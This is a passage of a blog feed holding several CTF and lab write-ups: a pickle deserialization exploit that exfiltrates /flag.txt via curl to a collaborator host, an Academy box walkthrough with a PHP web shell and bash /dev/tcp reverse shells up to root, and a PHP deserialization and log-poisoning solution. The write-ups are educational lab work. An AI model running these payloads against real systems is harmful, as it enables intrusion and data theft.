</span></span><span class="line"><span class="cl"><span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">,</span> <span class="n">template_folder</span><span class="o">=</span><span class="s1">&#39;templates&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">real_flag</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;/flag.txt&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">flag_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">real_flag</span> <span class="o">=</span> <span class="n">flag_file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Profile</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">email</span><span class="p">,</span> <span class="n">bio</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">username</span> <span class="o">=</span> <span class="n">username</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">email</span> <span class="o">=</span> <span class="n">email</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">bio</span> <span class="o">=</span> <span class="n">bio</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s1">&#39;/profile&#39;</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;POST&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">profile</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">request</span><span class="o">.</span><span class="n">method</span> <span class="o">==</span> <span class="s1">&#39;POST&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;username&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">email</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;email&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">bio</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;bio&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">username</span> <span class="ow">and</span> <span class="n">email</span> <span class="ow">and</span> <span class="n">bio</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">profile</span> <span class="o">=</span> <span class="n">Profile</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">email</span><span class="p">,</span> <span class="n">bio</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">dumped</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">profile</span><span class="p">))</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s1">&#39;profile.html&#39;</span><span class="p">,</span> <span class="n">profile</span><span class="o">=</span><span class="n">profile</span><span class="p">,</span> <span class="n">dumped</span><span class="o">=</span><span class="n">dumped</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">load_object</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;load_object&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">load_object</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">profile</span> <span class="o">=</span> <span class="n">pickle</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">load_object</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s1">&#39;profile.html&#39;</span><span class="p">,</span> <span class="n">profile</span><span class="o">=</span><span class="n">profile</span><span class="p">,</span> <span class="n">dumped</span><span class="o">=</span><span class="n">load_object</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">except</span> <span class="n">pickle</span><span class="o">.</span><span class="n">UnpicklingError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="sa">f</span><span class="s2">&#34;Error loading profile: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span> <span class="mi">400</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s1">&#39;input.html&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s1">&#39;/submit_flag/&lt;flag&gt;&#39;</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;GET&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">flag</span><span class="p">(</span><span class="n">flag</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">real_flag</span> <span class="k">if</span> <span class="n">flag</span> <span class="o">==</span> <span class="n">real_flag</span> <span class="k">else</span> <span class="s1">&#39;Not correct!&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">debug</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/e1a9a542-c019-45ff-8f29-1901a0346a4c.webp"></p>
<p>Here if GET parameter <code>load_object</code> is present it will pass it to <code>pickle.loads(base64.b64decode(load_object))</code>.</p>
<p><code>pickle.loads()</code> is used to unpickle (deserialize) the data and takes a variable containing byte stream as a valid argument.</p>
<p>It is vulnerable to pickle insecure deserialization.</p>
<p>To exploit this vulnerability, we will use <code>__reduce__</code> method. <br>
<code>__reduce__</code> allows you to define a custom way to reconstruct the object during deserialization. It can be used for execution of arbitrary code during deserialization.</p>
<p>I wasted so much time on payload making because i was using <code>os.system</code> but it didn&rsquo;t work at last <code>subprocess.Popen</code> worked.</p>
<blockquote>
<p>[!NOTE]
It won&rsquo;t work because <code>os.system</code> method uses respective shell of the Operating system that it is running on so for <code>os.system</code> to work during Deserialization we need to Serialize the payload on the machine that matches the target OS. <br>
Here target is running Linux so Windows won’t work</p></blockquote>
<p>python exploit code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pickle</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">RCE</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl">        <span class="kn">import</span> <span class="nn">subprocess</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span><span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">,</span> <span class="p">((</span><span class="s1">&#39;curl&#39;</span><span class="p">,</span><span class="s1">&#39;bwb2r04nf32cz2y75mho7eus4jaay8mx.oastify.com&#39;</span><span class="p">,</span> <span class="s1">&#39;-d&#39;</span><span class="p">,</span> <span class="s1">&#39;@/flag.txt&#39;</span><span class="p">),</span><span class="mi">0</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pickled</span> <span class="o">=</span> <span class="n">pickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">RCE</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">x2</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickled</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;https://dsw3qg.wizer-ctf.com/profile?load_object=</span><span class="si">{</span><span class="n">x2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span><span class="n">proxies</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;http&#39;</span><span class="p">:</span><span class="s1">&#39;http://127.0.0.1:8080&#39;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</span></span></code></pre></div><p>Request to collaborator:</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/9dc22cfa-ffd1-4156-a89c-11fdb5bfa81c.webp"></p>
<p>Payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">https://dsw3qg.wizer-ctf.com/submit_flag/WIZER<span class="o">{</span><span class="s1">&#39;PICKL1NG_1S_DANGEROUS&#39;</span><span class="o">}</span>
</span></span></code></pre></div><br>
<hr>
<br>
<p>made it to the top 10.</p>
<p><a href="https://www.linkedin.com/in/aftab-sama/"><img alt="Aftab Sama - Top 10 CTF Challenge" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/88af25f0-6f6d-4f88-9c97-0be8880d8d98.webp"></a></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Academy Box - PEH Capstone TCM Security</title>
      <link>https://aftabsama.com/writeups/other-machines/academy-box-peh-capstone-tcm-security/</link>
      <pubDate>Sun, 04 Feb 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/other-machines/academy-box-peh-capstone-tcm-security/</guid>
      <description>Solution for the Academy Box of Capstone challenges from the PEH course of TCM Security.</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>Writeup for Academy machine challenge from PEH course of TCM Security</p></blockquote>
<p>Challenge File: <a href="https://drive.google.com/drive/folders/1VXEuyySgzsSo-MYmyCareTnJ5rAeVKeH">https://drive.google.com/drive/folders/1VXEuyySgzsSo-MYmyCareTnJ5rAeVKeH</a></p>
<p>Run <code>sudo netdiscover -r 192.168.0.0/24</code> before starting the target VM to capture all available devices in subnet <br>
now start the target VM and wait for new machine IP entry it will be the IP of our target VM.</p>
<p>Before starting the target VM.</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/264f4aa5-62fd-47d0-bb51-88a1fe8211e7.webp"></p>
<p>After starting the target VM.</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/48ec1846-d9e4-4f40-a996-91b68db451f8.webp"></p>
<p>Now that we have the target IP <code>192.168.0.113</code> let&rsquo;s run the <code>nmap</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──<span class="o">(</span>Jack㉿Sparrow<span class="o">)</span>-<span class="o">[</span>~/Downloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$  nmap -sC -sV -T5 192.168.0.113 -oA nmap_Academy.txt -Pn
</span></span><span class="line"><span class="cl">Starting Nmap 7.93 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-02 13:58 EST
</span></span><span class="line"><span class="cl">Warning: 192.168.0.113 giving up on port because retransmission cap hit <span class="o">(</span>2<span class="o">)</span>.
</span></span><span class="line"><span class="cl">Nmap scan report <span class="k">for</span> 192.168.0.113
</span></span><span class="line"><span class="cl">Host is up <span class="o">(</span>0.0050s latency<span class="o">)</span>.
</span></span><span class="line"><span class="cl">Not shown: <span class="m">993</span> closed tcp ports <span class="o">(</span>conn-refused<span class="o">)</span>
</span></span><span class="line"><span class="cl">PORT     STATE    SERVICE       VERSION
</span></span><span class="line"><span class="cl">21/tcp   open     ftp           vsftpd 3.0.3
</span></span><span class="line"><span class="cl"><span class="p">|</span> ftp-anon: Anonymous FTP login allowed <span class="o">(</span>FTP code 230<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span>_-rw-r--r--    <span class="m">1</span> <span class="m">1000</span>     <span class="m">1000</span>          <span class="m">776</span> May <span class="m">30</span>  <span class="m">2021</span> note.txt
</span></span><span class="line"><span class="cl"><span class="p">|</span> ftp-syst:
</span></span><span class="line"><span class="cl"><span class="p">|</span>   STAT:
</span></span><span class="line"><span class="cl"><span class="p">|</span> FTP server status:
</span></span><span class="line"><span class="cl"><span class="p">|</span>      Connected to ::ffff:192.168.0.207
</span></span><span class="line"><span class="cl"><span class="p">|</span>      Logged in as ftp
</span></span><span class="line"><span class="cl"><span class="p">|</span>      TYPE: ASCII
</span></span><span class="line"><span class="cl"><span class="p">|</span>      No session bandwidth limit
</span></span><span class="line"><span class="cl"><span class="p">|</span>      Session timeout in seconds is <span class="m">300</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span>      Control connection is plain text
</span></span><span class="line"><span class="cl"><span class="p">|</span>      Data connections will be plain text
</span></span><span class="line"><span class="cl"><span class="p">|</span>      At session startup, client count was <span class="m">4</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span>      vsFTPd 3.0.3 - secure, fast, stable
</span></span><span class="line"><span class="cl"><span class="p">|</span>_End of status
</span></span><span class="line"><span class="cl">22/tcp   open     ssh           OpenSSH 7.9p1 Debian 10+deb10u2 <span class="o">(</span>protocol 2.0<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span> ssh-hostkey:
</span></span><span class="line"><span class="cl"><span class="p">|</span>   <span class="m">2048</span> c744588690fde4de5b0dbf078d055dd7 <span class="o">(</span>RSA<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span>   <span class="m">256</span> 78ec470f0f53aaa6054884809476a623 <span class="o">(</span>ECDSA<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span>_  <span class="m">256</span> 999c3911dd3553a0291120c7f8bf71a4 <span class="o">(</span>ED25519<span class="o">)</span>
</span></span><span class="line"><span class="cl">80/tcp   open     http          Apache httpd 2.4.38 <span class="o">((</span>Debian<span class="o">))</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span>_http-title: Apache2 Debian Default Page: It works
</span></span><span class="line"><span class="cl"><span class="p">|</span>_http-server-header: Apache/2.4.38 <span class="o">(</span>Debian<span class="o">)</span>
</span></span><span class="line"><span class="cl">1046/tcp filtered wfremotertm
</span></span><span class="line"><span class="cl">1055/tcp filtered ansyslmd
</span></span><span class="line"><span class="cl">1434/tcp filtered ms-sql-m
</span></span><span class="line"><span class="cl">2038/tcp filtered objectmanager
</span></span><span class="line"><span class="cl">Service Info: OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span class="line"><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 13.39 seconds
</span></span></code></pre></div><p>Here we see that port <code>21,22,80</code> are open.</p>
<p>In port 21 Anonymous FTP login is allowed  <br>
to see what files are present in this ftp we can open <code>ftp://192.168.0.113/</code> in windows File Explorer or we can also use curl</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/94033cfd-6173-49d2-bc31-18b3621d137f.webp"></p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/8028de5e-668e-4123-8aef-42e27cb07c85.webp"></p>
<p>The note says <code>The StudentRegno number is what you use for login</code> which is <code>10201321</code> and
we have one password hash <code>cd73502828457d15655bbd7a63fb0bc8</code>. use tools like <a href="https://crackstation.net/">https://crackstation.net/</a> to crack the hash. <br>
This is md5 of <code>student</code>. <br>
now we have login credentials <code>10201321:student</code> note this for now and let&rsquo;s move to http site.</p>
<br>
<p><code>http://192.168.0.113/</code> is Apache2 Debian Default Page.</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/d0094763-f520-4028-a338-0aca0d6cb604.webp"></p>
<p>There is nothing much to see in this default page so let&rsquo;s do the directory brute force.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──<span class="o">(</span>Jack㉿Sparrow<span class="o">)</span>-<span class="o">[</span>~<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ dirsearch -u http://192.168.0.113/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  _<span class="p">|</span>. _ _  _  _  _ _<span class="p">|</span>_    v0.4.2
</span></span><span class="line"><span class="cl"> <span class="o">(</span>_<span class="o">||</span><span class="p">|</span> _<span class="o">)</span> <span class="o">(</span>/_<span class="o">(</span>_<span class="o">||</span> <span class="o">(</span>_<span class="p">|</span> <span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Extensions: php, aspx, jsp, html, js <span class="p">|</span> HTTP method: GET <span class="p">|</span> Threads: <span class="m">30</span> <span class="p">|</span> Wordlist size: <span class="m">141672</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Output File: /home/kali/.dirsearch/reports/192.168.0.113/-_24-02-04_03-17-49.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Error Log: /home/kali/.dirsearch/logs/errors-24-02-04_03-17-49.log
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Target: http://192.168.0.113/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>03:17:49<span class="o">]</span> Starting:
</span></span><span class="line"><span class="cl"><span class="o">[</span>03:18:19<span class="o">]</span> <span class="m">301</span> -  319B  - /phpmyadmin  -&gt;  http://192.168.0.113/phpmyadmin/
</span></span><span class="line"><span class="cl"><span class="o">[</span>03:19:57<span class="o">]</span> <span class="m">301</span> -  316B  - /academy  -&gt;  http://192.168.0.113/academy/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Task Completed
</span></span></code></pre></div><p>We found the <code>/phpmyadmin/</code> and <code>/academy/</code> directories on the <code>http://192.168.0.113/academy/</code> page we have one login form.</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/8dcd96ba-f63a-4524-9ea6-95156c8ce0df.webp"></p>
<p>Let&rsquo;s try the login credentials <code>10201321:student</code> that we found previously from ftp note.</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/a36b56d4-987e-4e97-834f-f1f0fc105bf4.webp"></p>
<p>It worked we are now logged in. <br>
On the My Profile page we have file upload functionality.</p>
<p>try uploading simple php shell <code>&lt;?php system($_REQUEST['cmd']); ?&gt;</code> and it is not blocked we now have the ability to execute commands on server.</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/08e0c9d1-2522-4e8a-9fc3-4a19c13bc969.webp"></p>
<p>we can get reverse shell by this payload <code>cmd=bash+-c+&quot;bash+-i+&gt;%26+/dev/tcp/192.168.0.207/9001+0&gt;%261&quot;</code> <br>
reference: <a href="https://www.revshells.com">https://www.revshells.com</a></p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/4dc9b13a-e0a3-4ff4-82fd-5a32fb2b0270.webp"></p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/4cf54a48-a797-4c62-ae47-f0e3a7fa91a5.webp"></p>
<p>In the config.php file we have the mysql_password <code>My_V3ryS3cur3_P4ss</code> and in the ftp note we show line <code>I told him not to use the same password everywhere</code> which implies
that user Grimmie is reusing the same password so we can try to use this password to switch to user Grimmie.</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/a6efd8be-7132-4ee9-86b2-b44bcb917ba6.webp"></p>
<p>looking at crontab we notice that <code>/home/grimmie/backup.sh</code> file is running as root and we can modify this file to get root access.</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/ee82ccab-380c-485d-855c-247e8e2e7dcc.webp"></p>
<p>Reverse shell payload to get shell as root:</p>
<p><code>echo 'bash -c &quot;bash -i &gt;&amp; /dev/tcp/192.168.0.207/9002 0&gt;&amp;1&quot;' &gt; backup.sh</code></p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/0c2c4b55-7951-4637-ab07-86077b1ce395.webp"></p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/b1a801aa-7b03-4d4d-849a-6a7532c95b22.webp"></p>
<p>Flag:</p>
<p><img alt="image" loading="lazy" src="/writeups/other-machines/academy-box-peh-capstone-tcm-security/md/50dbf9b2-9236-4656-95ff-e7747b222a6c.webp"></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Toxic - HackTheBox</title>
      <link>https://aftabsama.com/writeups/hackthebox/toxic-web/</link>
      <pubDate>Wed, 24 Jan 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthebox/toxic-web/</guid>
      <description>https://app.hackthebox.com/challenges/Toxic</description>
      <content:encoded><![CDATA[<hr>
<h3 id="challenge-description">Challenge Description</h3>
<p>Humanity has exploited our allies, the dart frogs, for far too long, take back the freedom of our lovely poisonous friends. Malicious input is out of the question when dart frogs meet industrialisation. 🐸</p>
<h3 id="insecure-deserialization">Insecure Deserialization</h3>
<p>In the given source code we can spot that it is vulnerable to deserialization.</p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/5fbcaee1-b10f-4765-93ef-7a4be1f4330b.webp"></p>
<p><code>PageModel</code> have magic method <code>__destruct()</code> to exploite Deserialization.</p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/1086d508-0033-4c6b-b6d4-3ec831a0bf87.webp"></p>
<p>payload=</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">O:9:&#34;PageModel&#34;:1:{s:4:&#34;file&#34;;s:11:&#34;/etc/passwd&#34;;}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">itsdangerous</span> <span class="kn">import</span> <span class="n">base64_encode</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="s2">&#34;PageModel&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="s2">&#34;/etc/passwd&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="s1">&#39;O:&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">))</span><span class="o">+</span><span class="s1">&#39;:&#34;&#39;</span><span class="o">+</span><span class="n">a</span><span class="o">+</span><span class="s1">&#39;&#34;:1:{s:4:&#34;file&#34;;s:&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">b</span><span class="p">))</span><span class="o">+</span><span class="s1">&#39;:&#34;&#39;</span><span class="o">+</span><span class="n">b</span><span class="o">+</span><span class="s1">&#39;&#34;;}&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">base64_encode</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;http://83.136.249.57:52345/&#34;</span><span class="p">,</span><span class="n">cookies</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;PHPSESSID&#34;</span><span class="p">:</span> <span class="n">payload</span><span class="p">},</span><span class="n">proxies</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;http&#34;</span><span class="p">:</span><span class="s2">&#34;http://127.0.0.1:8080/&#34;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</span></span></code></pre></div><p>The flag&rsquo;s name is random, so we need to find an alternative way to read it.</p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/23c0c811-0290-4d90-bd9d-96b18d9c09ca.webp"></p>
<h3 id="php-code-injection-in-log-file">PHP code Injection in log file</h3>
<p>We can find the path of <code>/etc/nginx/nginx.conf</code> in Dockerfile.</p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/f401a175-f86d-4ed6-9143-77d4b12e1817.webp"></p>
<p>Reading this file using the deserialization payload it reveals the path to access log <code>/var/log/nginx/access.log</code>.</p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/76d581a6-12c0-4665-855b-3c5f1bb44d3f.webp"></p>
<p>By analyzing the access log, we can see that the User-agent is recorded in the log file.</p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/d07a5788-7e8e-4667-b447-f4b5d8036053.webp"></p>
<p>We can attempt to insert PHP code into this log file and then read the file to determine whether the PHP code is executed.</p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/a4b748d2-a890-4c19-bd1c-166ef783e385.webp"></p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/d598a5ab-befc-4657-8b69-fde9f91c5230.webp"></p>
<p>and this works. Now we can use this PHP code injection to obtain the flag.</p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/a0a677ec-ee03-460e-84c9-932dc009992f.webp"></p>
<p><img alt="image" loading="lazy" src="/writeups/hackthebox/toxic-web/md/e25196d7-00c7-4300-b002-11adf36413ff.webp"></p>
<p>Flag: <code>HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Lost Modulus - HackTheBox</title>
      <link>https://aftabsama.com/writeups/hackthebox/lost-modulus-crypto/</link>
      <pubDate>Sun, 31 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthebox/lost-modulus-crypto/</guid>
      <description>https://app.hackthebox.com/challenges/lost-modulus</description>
      <content:encoded><![CDATA[<hr>
<p><strong>Challenge Description</strong>: <em>I encrypted a secret message with RSA but I lost the modulus. Can you help me recover it?</em></p>
<p>In the file given <code>challenge.py</code> we can see that it is RSA encryption and the value of <code>e</code> is <code>3</code>. <br>
Here the <code>e</code> is small and <code>n</code> is too large, so <code>m^e &lt; N</code>. <br>
When the value of <code>e</code> is as small as 3, we can just do the 3rd root of cipher text and we can get the message.</p>
<p>Python code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">gmpy2</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
</span></span><span class="line"><span class="cl">
